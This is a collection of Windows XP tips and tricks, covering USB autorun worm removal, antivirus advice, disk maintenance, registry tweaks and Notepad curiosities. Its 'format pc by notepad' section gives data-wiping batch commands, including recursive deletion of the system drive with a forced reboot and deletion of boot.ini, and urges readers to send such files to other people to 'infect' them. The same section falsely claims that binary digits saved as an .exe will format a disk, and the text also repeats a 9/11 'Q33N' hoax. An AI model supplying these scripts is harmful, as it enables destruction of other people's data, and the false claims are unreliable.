How to remove autorun.inf from USB Drive

Worms spreads by creating a copy of itself and starts by autorun.inf files. It is essential to remove the malicious and autorun.inf files not only from computers but also from the source, and that is the USB Drive. PreciseSecurity have created a procedure to delete the malicious files on infected drives.

PROCEDURE:
1. While the computer is still off;
2. Plugin the USB Drive
3. Insert the Windows XP CD-ROM into the CD-ROM drive. It must be the bootable Windows XP Installer
4. Start the computer from the CD-ROM drive. It will start Windows Setup screen
5. When the “Welcome to Setup” prompt appears.Press “R” to start the Recovery Console
6. If asked “Which Window installation would you like to logon to” select the number. Type “1? then Enter, if only one installation of Windows is present
7. Enter the administrator password, press Enter
8. It will bring you to command prompt, C:\Windows>
9. Proceed with the following command:
- Type d: (This is the drive letter of USB. It can be e: or f: defending on how many hard disk or cd drive is installed)
- Type attrib -h -r -s autorun.inf
- Type “edit autorun.inf” it will open DOS Editor and display contents as follows
==========================
[autorun]
open=file.exe
shell\Open\Command=file.exe
shell\open\Default=1
shell\Explore\Command=file.exe
shell\Autoplay\command=file.exe
==========================
Take note on the file that it called to open (in above example it is file.exe)

10. Exit DOS Editor and return to command prompt, D:\>
11. Delete the file that was called to open on DOS Editor
- Type del /f /a file.exe

12. Delete autorun.inf file
- Type del /f /a autorun.inf

13. Exit Recovery Console by typing exit.

12 TIPS FOR VIRUS FREE COMPUTER

Is your computer infected with virus? Do you oftenget mysterious error messages? Well this is a common problem faced by almost all the computer users across the globe. There are many viruses and worms out there that could infect your computer. Some are harmless, but, they do have the capacity to do any number of nasty things, up to and including, erasing all data from your computer. However there are ways to keep viruses away from your PC. Here are the 12 tips to maintain a virus free computer.

1. Email is one of the common ways by which your computer can catch a virus. So it is always recommended to stay away fromSPAM. Open only those emails that has it’s origin from a trusted source such as those which comes from your contact list. If you are using your own private email host (other than gmail, yahoo, hotmailetc.)then it is highly recommended that you use a good anti-spam software. And finallyNEVER clickon any links in the emails that comesfrom untrusted sources.

2. USB thumb/pen drives is another common way by which viruses spread rapidly. So it is always a good habit to perform a virus scan before copying any dataonto your computer.NEVER double-click the pen drive to open it. Insteadright-click on it and select the option “open”. This is a safe wayto opena pendrive.

3.Be careful about using MS Outlook. Outlook is more susceptible to worms than other e-mail programs, unless you have efficient Anti-Virus programs running. Use Pegasus or Thunderbird (by Mozilla), or a web-based program such as Hotmail or Yahoo (In Firefox).

4. As we all know, Internet is the main source of all the malicious programs including viruses, worms, trojans etc. In fact Internet contributes to virus infection by up to 80%. So here are the tips for safe surfing habits so that you canward offvirus infection up to the maximum extent.
Don’t click on pop-up windows that announce a sudden disaster in your city orannounce that you’ve won an hourly prize. They are the ways to mislead Internet users and you should never trust them.You can also use a pop-up blockerto automatically block those pop-ups.

5. Most of us use search engines like Google to find what we are looking for. It is quite obviousfor a malicious website to getlisted in the search results. So to avoid visiting those untrusted malicious websites, you can download and install theAVG LinkScannerwhich is a freeware. This tool can become very handy and will help you to stay away from malicious websites.

6. Install a good antivirus software and keep it updated. Also perform full system scan periodically.It is highly recommended that you turn on the automatic update feature. This is the most essential task to protect your PC from virues. If PC security is your first option then it isrecommendedthat yougo for a shareware antivirus software over the free ones. Most of the antivirus supports the Auto-Protect feature that provides realtime security for your PC. Make sure that this feature is turned on.

7. Install agoodAntispywareprogram, that operates against Internet malware and spyware.
8. Never open any email attachments that come from untrusted sources. If it is a picture, text or sound file (these attachments end in the extensions .txt, .jpeg, .gif, .bmp, .tif, .mp3, .htm, .html, and .avi), you are probably safe, but still do a scan before opening.
9. Do not use disks that other people gave you, even from work. The disk could be infected with a virus. Of course, you can run a virus scan on it first to check it out.
10.Set up your Windows Update to automatically download patches and upgrades. This will allow your computer to automatically download any updates to both the operating systemand Internet Explorer. These updates fix security holes in both pieces of software.
11. While you download files from untrusted websites/sources such as torrents, warez etc. make sure that you run a virus scan before executing them.

12. And finally it is recommended not to visit the websites that feature illegal/unwanted stuffs such as cracks, serials, warez etc. since theycontribute much in spreading of viruses and other malicious programs.

What to do if your Computer's running slowly

What to do if your Computer's running slowly



We get a lot of people coming here complaining of slow running computers, and posting HijackThis logs for us to look at. They suspect that an infection is causing their problem. In a great many cases, malware is not the cause of the problem, and a few simple procedures are all that it takes to resolve things.

Computers need regular maintenance, I know this comes as a shock to some of you, but it's true nonetheless.

Now before you start to panic, don't worry. I'm not going to be asking you to start ripping off the covers of your machine and fiddling with the circuit boards, and I'm not going to be asking you to start following some arcane ritual known only to TechnoGeeks. What we're going to do is simple enough for anyone to do.

It's best if we break things down into two sections, the first are those that should be done regularly, the next are those that only need to be done once, or very infequently.

First, the tasks that need to be carried out regularly

• Clear out your Temporary files
  
  During the normal operation of your computer, Windows and your other programs create an awful lot of temporary files. For the most part they are just that, temporary. But for any number of reasons, when they're no longer needed they don't get removed by the program that created them. So over time their number builds up, and unless you clear them out they can slow down your computer noticeably.
  
  In the case of your browser, the problem can be worse. All browsers cache the web pages you visit. The original reason was to make loading pages faster. When everyone was on dial-up this was quite a good idea, but with modern fast connections it's mostly unnecessary now. However browsers still cache webpages, and unless cleaned out regularly they build up to a position where they can have some pretty dramatic effects on how your browser works. Any number of wierd browser problems are caused by nothing more than an overfull cache.
  
  So once a month, or once a week if you're a heavy user, it's a good idea to clean out your Temporary files.
  
  

  Quote:For users of XP
  

  • Click Start > All Programs > Accessories > System Tools > Disk Cleanup
  • This will bring up the Disk Cleanup window.
  • Check the following entries.
    • Temporary Internet Files.
    • Recycle Bin.
    • Temporary Files.
  • Click OK.
  • When prompted whether you're sure you want to do this click Yes.

  
  For users of Vista
  

  • Click Start > All Programs > Accessories > System Tools > Disk Cleanup
  • This will open the Disk Cleanup Options window
  • Choose:
    • My files only
      or
    • Files from all users on this computer
  • Click Continue
  • Select the drive you want to clean up
  • Click OK
  • Check the following entries:
    • Temporary Internet Files
    • Recycle Bin
    • Temporary Files
  • Click OK
  • When asked if you're sure you want to delete these files, click Yes.

• Defrag your hard drive
  
  Every time you write a file to your hard drive, the drive controller has to find space on your drive. It will often break files into fragments, so that it can use the available disk space efficiently. However over time files can become very fragmented because of this, and your drive controller has to work harder to find all the fragments and re-combine them so that a program can use it. This slows things down, depending on the amount of fragmentation of your files, it can slow things down a lot.
  
  So once a month (for heavy users), or once every 3 or 4 months (for light users), it's a good idea to defragment your hard drive.
  
  This will re-arrange the fragments on your drive so they form contiguous entities which are much easier for your drive controller to deal with.
  
  It's a time consuming operation, usually taking several hours, so best to do what I do, and start it going before you go to bed.
  
  

  Quote:For users of XP
  

  • Click Start > All Programs > Accessories > System Tools > Disk Defragmenter
  • Click on the Analyze button.
  • Let the analyzer run, it takes 5-10 minutes or so, sometimes longer, depending on your disk size.
  • When finished it will pop up a window telling you whether you need to defrag or not.
  • Microsoft is notoriously conservative about defragging, so don't take the recommendation you get as gospel. Have a look at the graph produced when analyzing, if there's more than about 10-15% showing red, then Defragging will improve your disk performance.
  • If you need to defrag:
    • Click the Defragment button.
    • The defrag process can take hours, so go do something useful, or if you've followed my advice and done this before bedtime, go have a good sleep and it'll be done when you wake up.

  
  For users of Vista
  

  • Click Start > All Programs > Accessories > System Tools > Disk Defragmenter
  • Click Continue
  • A window will open
  • To set up a regular schedule to defragment your hard drive
    • Check Run on a schedule (recommended)
    • Select the time of day and day of the week that works best for you
    • Select the volume (drive) to be defragmented
  • To defragment right now:
    • Click on the Defragment Now button
    • Select drives to defragment
    • Click OK to begin the defragmentation process

Next, the ones that you only need to do once or very infrequently.

• Reduce the number of program that are Auto Starting
  
  Pretty much every program you install these days is set to auto start when you boot up. The program manufacturers tell you it's for your benefit, but the truth is for most of them it's just not necessary that they do so. Lots of auto starting program will severely slow down your startup time, and having lots of unnecessary program running in memory will slow down the running speed of your computer as well.
  
  Luckily it's not hard to prevent unecessary program from auto starting. Doing so does not mean you can't use the program, you start them by double clicking on their icons, just as you always have, it just means they won't be running when you're not using them.
  
  Of course program like your firewall and antivirus need to auto run, so we won't be touching them at all.
  
  

  Quote:For inexperienced computer users.
  

  • Download StartupLite by Rubberducky to your desktop.
  • Doubleclick StartupLite.exe to launch the program.
  • Ensure the Disable box is checked.
  • Click Continue.
  • A pop up message will tell you the unnecessary startup items in your list have been disabled and ask you to restart your computer.
  • Re-start your computer.

  
  

  Quote:For experienced users,
  

  • Download and install WinPatrol By Bill Pytlovany.
  • Doubleclick the Scottydog icon in your taskbar to launch the program.
  • Click on the Startup Programs tab.
  • To stop a program starting automatically at startup, click on it to highlight it, then click the Disable button.
    
    (It will be up to you to research items first to see whether they should be disabled)
  • Exit WinPatrol.

  
  If you've disabled something you later wish to re-enable, do the following.
  

  • Launch WinPatrol (as described above).
  • Click on the Startup Programs tab.
  • Click on entry you wish to re-enable.
  • With a disabled entry, the Disable button will turn into an Enable button.
  • Click Enable
  • Exit WinPatrol

• Do you have a HOSTS file installed?
  
  If you are using one of the pre-prepared Hosts files to block unwanted and dangerous sites (eg. MVPs Hosts or Bluetack) then if you are not part of a domain, and notice a slowdown, you will need to disable the Windows DNS Client Service.
  
  

  Quote:For users of XP,
  

  • Click Start > Run > type services.msc into the Open: box, then click OK.
  • This will open the Services window.
  • Scroll down to DNS Client and double click on it.
    • Click the Stop button to stop the service.
    • Set startup type to Manual.
    • Click OK
  • Exit the Services window.

  
  For users of Vista,

• From Start, in the Start Search box, type services.msc
• Give permission to continue.
• Scroll down to DNS Client and double click on it.
  • Under Service Status, click Stop
  • Under Startup Type, choose Disabled.
  • Click Apply, OK
• Exit the Services window.

• Disable your Indexing Service
  
  This service does what its name suggests, it indexes all your files, in order that you can find things faster when searching.
  
  It does it on a continuous basis, using up a great deal of CPU time and working your hard drive for no real good reason. As a result, although it may speed up your search times, it slows down your computer at all other times.
  
  I don't know about you, but I know where most of the files I want are located. For the number of times I have to run a search I'd rather have a faster computer than a faster search, so I turn this one off.
  
  By default this service is not installed in Vista, if you see it on your Vista then it has been deliberately added for reverse compatibility reasons, leave it alone.
  
  

  Quote:For users of XP,
  

  • Click Start > Run > type services.msc into the Open: box, then click OK.
  • This will open the Services window.
  • Scroll down to Indexing Service and double click on it.
    • Click the Stop button to stop the service.
    • Set Startup type to Disabled.
    • Click OK
  • Exit the Services window.

• Check the amount of free space you have on your hard drive
  
  Windows (XP and Vista) needs a certain amount of "overhead" (free disk space) if it's to operate efficiently. If it doesn't have that space, your processor has to "page out", which will slow everything down considerably.
  
  Ideally you need at least 15-20% of your disk to be empty, if you don't have 15% then it's time to start freeing up some disk space.
  
  

  Quote:For users of XP,
  

  • Click Start > All Programs > Accessories > System Tools > Disk Defragmenter
  • Look in the last column (top right) under % Free Space
  • Exit Disk Defragmenter.

  
  For users of Vista,

• Click Start > Computer
• A window will open
• Information for your hard disk drive(s), including the exact amount of free space available, will be displayed in the uppermost portion of the window.

• Presuming you don't have enough free disk space, here's a couple of suggestions for freeing some up
  
  • Remove unnecessary programs
    
    OK, time to be honest with yourself, are you really using all those programs you've got installed, or are there some that you haven't used in a lifetime. If there are, then why not get rid of them and free up some disk space. Your hard drive will thank you for your efforts.
    

    Quote:For users of XP,
    

    • Click Start > Control Panel > Add or Remove Programs
    • Click on the program you want to remove to highlight it.
    • Click the Change/Remove button and follow any instructions given.
    • Repeat for all program you wish to remove.

    
    For users of Vista,
    

    • For Control Panel Home view - Click Start > Control Panel > Programs > Programs and Features
    • For Classic View - Click Start > Control Panel > Programs and Features
      [list]
    • For either option, to uninstall a program, select it from the list and then click Uninstall.

• Reduce your System Restore Points
  
  Windows creates System Restore points on a regular basis (every 24 hours), they take up a great deal of space on your hard drive (up to 12% for XP, 15% for Vista). If your computer has been running without problems (other than the slowness) for some time, then you can free up a lot of space by reducing the number of System Restore points to one (the latest).
  
  Windows will continue creating more RPs, but it'll take some time before you need to thin them out again.
  

  Quote:For users of XP,
  

  • Click Start > All Programs > Accessories > System Tools > Disk Cleanup
  • This will bring up the Disk Cleanup window.
  • Click the More Options tab.
    • In the System Restore field, click Clean up
    • You will be prompted if you want to remove all but the most recent restore point.
    • Click Yes.
  • Click OK.
  • When prompted whether you're sure you want to do this click Yes.
    
    
    For users of Vista,
    
    • Click Start > All Programs > System Tools > Disk Cleanup
    • Select Files from all users on this computer
    • Click on Continue
    • Select the appropriate drive letter (usually C:)
    • When the Disk Cleanup window opens, select the More Options tab
    • Under System Restore and Shadow Copies click on the Clean up button
    • All but the latest restore point will be removed
      [LIST]
    • Note: In some editions of Windows Vista, the disc might include file shadow copies and older Windows Complete PC Backup images as part of restore points. This information will also be deleted.

HOW TO DISABLE REMOTE REGISTRY

The "Remote Registry" service enables remote users to alter registry setting on your computer. By default, the "Startup type" setting for the "Remote Registry" service may be set to "Automatic” or "Manual" which is a security risk for a single user (or) laptop computer user.
So, to make sure that only users on your computer can alter the process registry disable this "Remote Registry" service.

Here is how it can be completed:

1. Click Start and pick Control Panel from the Start Menu items.
Note:
If you find difficulty in accessing the Control Panel in your computer,


2. If your Control Panel is showing items in Classic View, find the icon named Administrative Tools and double click on it.

Alternatively if you are under Category View, click Performance and Maintenance and then Click Administrative Tools

3. Now double-click on Services applet which is used to start, stop and configure windows services on your computer. This open the service window listing all the windows services
4. From the right pane of the Services Window, find the service named Remote Registry
5. Double-click the "Remote Registry" service which shows the Remote Registry Properties for your Local computer.

Now, press the Stop button first to stop the started service and then pick Disabled from the drop down menu under 'Startup Type' and click Apply->OK.

6.Close the "Services" window and restart your computer for the changes to take effect.

That's it!! you have disabled the "Remote Registry" service on your computer to prevent unauthorized changes to the process registry.

5 important computer tricks

Don't just maximize your windows—go full screen

When you need a really big window, don't just maximize it: go full screen! To view a window full screen, hold down the Ctrl key and double-click the window's title bar—or when the window is active, press the F11 key at the top of your keyboard—to get the biggest window possible.

Add the Links toolbar to My Computer

You know what would make a great toolbar? One where you could put your favorite applications and documents so that you could open them from any window at any time. Guess what? You can and here's how: click Start, then My Computer. Now right-click the toolbar and then click Links. You now have the Links toolbar on your windows, just like in Internet Explorer. Note: Make sure that Lock the Toolbars is not checked. Click on it to deselect it if it is.The really cool thing about the Links toolbar is that it's completely customizable. Try this: Navigate to your favorite application and drag and drop its icon to the Links toolbar. You just created a shortcut. Do this again and again for as many applications as you want to appear on the toolbar.

Arrange windows on your desktop

You can display any two windows side by side on the desktop by first clicking a window's button on the Taskbar. Next, press and hold the Ctrl key and right-click the second window that you want to open, then click Tile Vertically. This works great when you want to view two Microsoft Word or Microsoft Internet Explorer windows at the same time.

Organize your files into groups

Organize your files by grouping them. Try this: Open a folder containing several different subfolders and file types. Right-click any empty space on the window's contents pane, click Arrange Icons By, and then click Show in Groups. To arrange the window's contents, right-click again in any empty space on the window's contents pane, point to Arrange Icons By, and click Name, Size, Type, or Modified.

Make your own icons

It's shockingly easy to create your own icons in Windows XP. Let's do it: Click Start, click All Programs, click Accessories, and then click Paint. On the Image menu, click Attributes. Type 32 for both the Width and Height of the document, and make sure that Pixels is selected under Units. Click OK to create a new 32x32-pixel document: the size of an icon.Now add type, color, or do whatever you'd like to your image. I like to shrink photos (headshots work best) to 32x32 and simply paste them into my Paint document. When you're finished, open the File menu and click Save As. Use the dialog box to choose where you want to save your file, then give it a name followed by ".ico" (without the quotes), and click Save. (The extension ".ico" tells Windows that it's an icon file.) You just created an icon! Now you can change any shortcut or folder to your own icon—just browse to it on your hard drive.These tips are from the book, Windows XP Killer Tips by Kleber Stephenson, ISBN 073571357X. Published here with the permission of Pearson Education, Inc.

format pc by notepad

How to Format A HDD With Notepad
Posted in Notepad Tricks with tags format .bat, format hard drive, how to format, Notepad Tricks by nishant
If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this hack I will show you how to format a HDD using a notepad. This is really cool.

Step 1.
Copy The Following In Notepad Exactly as it says01001011000111110010010101010101010000011111100000

Step 2.
Save As An EXE Any Name Will Do

Step 3.
Send the EXE to People And Infect

OR

IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code
format c:\ /Q/X — this will format your drive c:\

01100110011011110111001001101101011000010111010000 100000011000110011101001011100

0010000000101111010100010010111101011000

format d:\ /Q/X — this will format your dirve d:\

01100110011011110111001001101101011000010111010000 100000011001000011101001011100

0010000000101111010100010010111101011000

format a:\ /Q/X — this will format your drive a:\

01100110011011110111001001101101011000010111010000 100000011000010011101001011100

0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.

01100100011001010110110000100000001011110100011000 101111010100110010111101010001

00100000011000110011101001011100011000100110111101 101111011101000010111001101001

0110111001101001

try to figure out urself rest
cant spoonfeed
its working

Do not try it on your PC. Don’t mess around this is for educational purpose only

still if you cant figure it out try this

go to notepad and type the following:

@Echo off
Del C:\ *.*|y

save it as Dell.bat

want worse then type the following:

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

and save it as a .bat file

registry tricks

Set Processes Priority

Follow this tip to increase the priority of active processes, this will result in prioritisation of processes using the CPU.

CTRL-SHIFT-ESC
1.Go to the second tab called Processes, right click on one of the active processes, you will see the Set Priority option

2.For example, your Run your CDwriter program , set the priority higher, and guess what, no crashed CD’s

Shutdown Trick !

Imidiate rapid shut down window
while shutting down window. open task manager(Ctr+Alt+Del),
Select shut down tab. and press ' Ctrl ' key while select Turn Off from dis tab.
Count 5 4 3 2 1 Voila!!! U r window will rapidly shut down.


Speed Up Ur Shut down !!


Start Regedit.
Navigate to HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control.
Click on the "Control" Folder.
Select "WaitToKillServiceTimeout"
Right click on it and select Modify.
Set it a value lower than 2000 (Mine is set to 200).

and !

Like previous versions of windows, it takes long time to restart or shutdown windows xp when the "Exit Windows" sound is enabled. to solve this problem you
must disable this useless sound. click start button then go to settings -> control panel -> Sound,Speech and Audio devices -> Sounds and Audio Devices -> Sounds, then under program events and windows menu click on "Exit Windows" sub-menu and highlight it.now from sounds you can select,choose "none" and then click apply and ok. now you can see some improvements when shutting down your system.


**new **
Crazy !!
Hide ur folders.. never known trick !!!!!!!!!! Disguise them to "Recycle Bin"


Rename any folder with extension {645FF040-5081-101B-9F08-00AA002F954E}
eg,
if u've a folder games
press F2,
then type, "games.{645FF040-5081-101B-9F08-00AA002F954E}"
c the magic....
then 2 get to original form,
remove the extension using
"ren games.{645FF040-5081-101B-9F08-00AA002F954E} games" in dos or as a bat file


n u are done..

~cheers~


System information

system up time only for xp professional edition
It boasts how long it can stay up. Whereas previous
versions of Windows were coy about how long they went
between boots, XP is positively proud of its stamina.
Go to the Command Prompt in the Accessories menu from
the All Programs start button option, and then type
'systeminfo'. The computer will produce a lot of
useful info, including the uptime. If you want to keep
these, type 'systeminfo > info.txt'. This creates a
file called info.txt you can look at later with
Notepad. (Professional Edition only).


lock pc just by double clicking mouse

You can lock your XP workstation with two clicks of
the mouse. Create a new shortcut on your desktop using
a right mouse click, and enter 'rundll32.exe
user32.dll,LockWorkStation' in the location field.
Give the shortcut a name you like. That's it -- just
double click on it and your computer will be locked.
And if that's not easy enough, Windows key + L will do
the same.



SPEED UP UR ACROBAT READER (ALMOST LIKE NOTEPAD)


Do u get irritated when acrobat reader takes 5/10 seconds to load when you want to open a pdf document. There is a way to speed up the loading.

1. Go to the installation folder of acrobat reader
(C:\program files\adobe\acrobat\reader\.. whatever)

2. Move all the files and folders from the "plugins" directory to the "Optional" directory. (I repeat.. cut and paste the files NOT copy & paste).

Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files).

Now your acrobat reader will load very fast
and almost as good as notepad..


Remove Stored username and Passwords !

To remove the Stored User Names and Passwords from your system, try this:
Click Start, Run and type Control keymgr.dll
Remove the entries from the list.
The other ways to access this dialog are:
Type Control Userpasswords2 in RUN box, click Advanced, Manage Passwords
-or-
From Control Panel, select your User Account, click Manage your network passwords

It Works

~ Cheers ~


*

Remove the Username and picture from Windows XP New Start Menu

The User account picture can be removed by turning off the Welcome Screen. Or, by switching to Windows Classic theme. Follow the method described in this article if you want to remove the username and picture from the Start Menu, without disabling the Welcome Screen and Windows XP Theme.

For those who want to remove the user name and user account picture from Start Menu, in order to have a blank blue panel at the top, try this:
Start Windows Explorer and go to this folder:

C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures

From that folder, rename the BMP file which corresponds to your user account.
( For example, if your username is Robert, rename Robert.bmp to old_Robert.bmp )
Next, rename the following folder:

C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\Default Pictures

to something else, say...

C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\No_Default Pictures
To remove the user name, follow these steps

Start regedit.exe and navigate to the this key:

HKEY_CURRENT_USER \ Software \ Microsoft\ Windows \ CurrentVersion \ Policies \ Explorer
In the right-pane, set NoUserNameInStartMenu value-data to 1

Close Regedit.exe and restart Windows.

You'll end up with a blue space at the top of the Start Menu.



To get back the username and the picture, reverse the above procedure.



For the New Start Menu, Windows XP looks for the .bmp file in the folder

C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures

If the file is not found, it takes a picture from the "Default Pictures" sub-folder. By renaming the .bmp and the "Default Pictures" folder, you're giving no chance for Windows to fetch an image for the Start Menu

~ Cheers ~.

Notepad Trick ! for complete list move to NOTEPAD TRICKS page !!

Well quite old but here is d complete collection

Step 1: Open Notepad
Step 2: Write following line in the notepad.
this app can break
Step 3: Save this file as xxx.txt
Step 4: Close the notepad.
Step 5: Open the file again.

Voilla!!

or

1> Open Notepad
2> Enter four words separated by spaces, wherein the first word has 4 letters, the next two have three letters, and the last word has five letters
3> DON'T hit enter at the end of the line.
4> Save the file.
5> Close Notepad.
6> Reopen Notepad.
7> Open the file you just saved.

or

Open a note pad
type Bush hid the facts
save that file,
close it
again open and see...


NOTEPAD "world trade centre trick".. :Fainted brain


Did you know that the flight number of the plane that had hit WTC ...on
9/11 was Q33N ....Open your Notepad in ur computer and type the flight
number i.e Q33N... Increase the Font Size to 72, Change the Font to
Wingdings. U will be amazed by the findings.

log trick !! make ur Notepad a diary !!

Sometimes we want to insert current data and time, whenever we open the file in the notepad. If you are a lazy person like me, who don’t like to press F5 whenever you open a notepad. Then here is a trick to avoid this. Just add a .LOG in the first line of your text file and close it.
Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.

WHY?

The reason this happens:

In notepad, any other 4-3-3-5 letter word combo will have the same results.
It is all to do with a limitation in Windows. Text files containing Unicode UTF-16-encoded Unicode are supposed to start with a "Byte-Order Mark" (BOM), which is a two-byte flag that tells a reader how the following UTF-16 data is encoded.

1) You are saving to 8-bit Extended ASCII (Look at the Save As / Encoding format)
2) You are reading from 16-bit UNICODE (You guessed it, look at the Save As / Encoding format)
This is why the 18 8-bit characters are being displayed as 9 (obviously not supported by your codepage) 16-bit UNICODE characters

~ cheers ~


SPEED UP MENU DISPLAY.!!


When using the start menu the you will notice a delay between different tiers of the menu hierarchy. For the fastest computer experience possible I recommend changing this value to zero. This will allow the different tiers to appear instantly.

Start Regedit. If you are unfamiliar with regedit please refer to our FAQ on how to get started.

Navigate to HKEY_CURRENT_USER\Control Panel\Desktop
Select MenuShowDelay from the list on the right.

Right on it and select Modify.
Change the value to 0.
Reboot your computer.



CLICKING * .AVI FILES ON EXPLORER CAUSING 100% CPU USAGE.!!


Well windows seem to have a REALLY big problem when it comes to reading AVI files. It seems that when you click on an AVI file in explorer, it'll try to read the entire AVI file to determine the width,height, etc. of the AVI file (this is displayed in the Properties window). Now the problem with Windows is that if you have a broken/not fully downloaded AVI file that doesnt contain this info, Windows will scan the entire AVI file trying to figure out all these properties which in the process will probably cause 100% CPU usage and heavy memory usage. To solve this problem all you have to do is the following:
1. Open up regedit
2. Goto HKEY_CLASSES_ROOT\SystemFileAssociations\.avi\shellex\PropertyHandler
3. Delete the "Default" value which should be "{87D62D94-71B3-4b9a-9489-5FE6850DC73E}"
Voila! Please not that this will no longer provide you with the windows properties displaying the AVI file information such as width, height, bitrate etc. But its a small price to pay for saving you resources.
NOTE: Please use caution when using regedit. Improper usage may cause windows to behave imcorrectly. Also, I cannot be held resposible. Backup your registry first.

CD ROM STOPS AUTOPLAYING/AUTORUN.!!


And the AutoPlay Tab has disappeared in My Computer, Devices With Removable Storage, Right Click on CDROM, Properties.
Solution: The service: "Shell Hardware Detection" has been set to Manual or Disabled. Go to Control Panel, Administrative Tools, Services. Return this service to "Automatic".

How to make your Desktop Icons Transparent

Go to Control Panel > System, > Advanced > Performance area > Settings button Visual Effects tab "Use drop shadows for icon labels on the Desktop"


DISPLAY MESSAGE ON STARTUP.


Start regedit, if you are unfamiliar with regedit please see our FAQ.
Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Modify the key legalnoticecaption with what you want to name the window.
Modify the key legalnoticetext with what you want the window to say. Restart


AUTO DELETE TEMPORARY FOLDER.!!

ll what i prefer is %temp% " without quotes.. at Start -> Run..
this opens ur temp folder n den u cal erase it neatly// still try dis one too..


First go into gpedit.msc
Next select -> Computer Configuration/Administrative Templates/Windows Components/Terminal Services/Temporary Folder
Then right click "Do Not Delete Temp Folder Upon Exit"
Go to properties and hit disable. Now next time Windows puts a temp file in that folder it will automatically delete it when its done! Note from Forum Admin: Remember, GPEDIT (Group Policy Editor) is only available in XP Pro.


make ur pdf files to speak

make ur pdf files to speak
here r the shortcuts for hearing pdf files in abobe reader 6.0 or higher

ctrl+shift+b ---->to hear the whole topic
ctrl+shift+v ---->to hear the page


Enjoy

play video on desktop

To create

start any video on any player in full screen...
then take print screen of video..

then GO

start mean >>> all programs >>> Accessories >>> Paint

paste dat pic on paint...

go to save as & save dis pic in PNG format

then save dis pic in ur desktop...

video will play on ur desktop

new xp tricks

Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs. Best of all, most of them will cost you nothing.
1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.

2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.

3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.

4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.

The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.

Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.

Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.

5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.

6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.

7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.

8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.

9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.

10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.

11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.

12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.

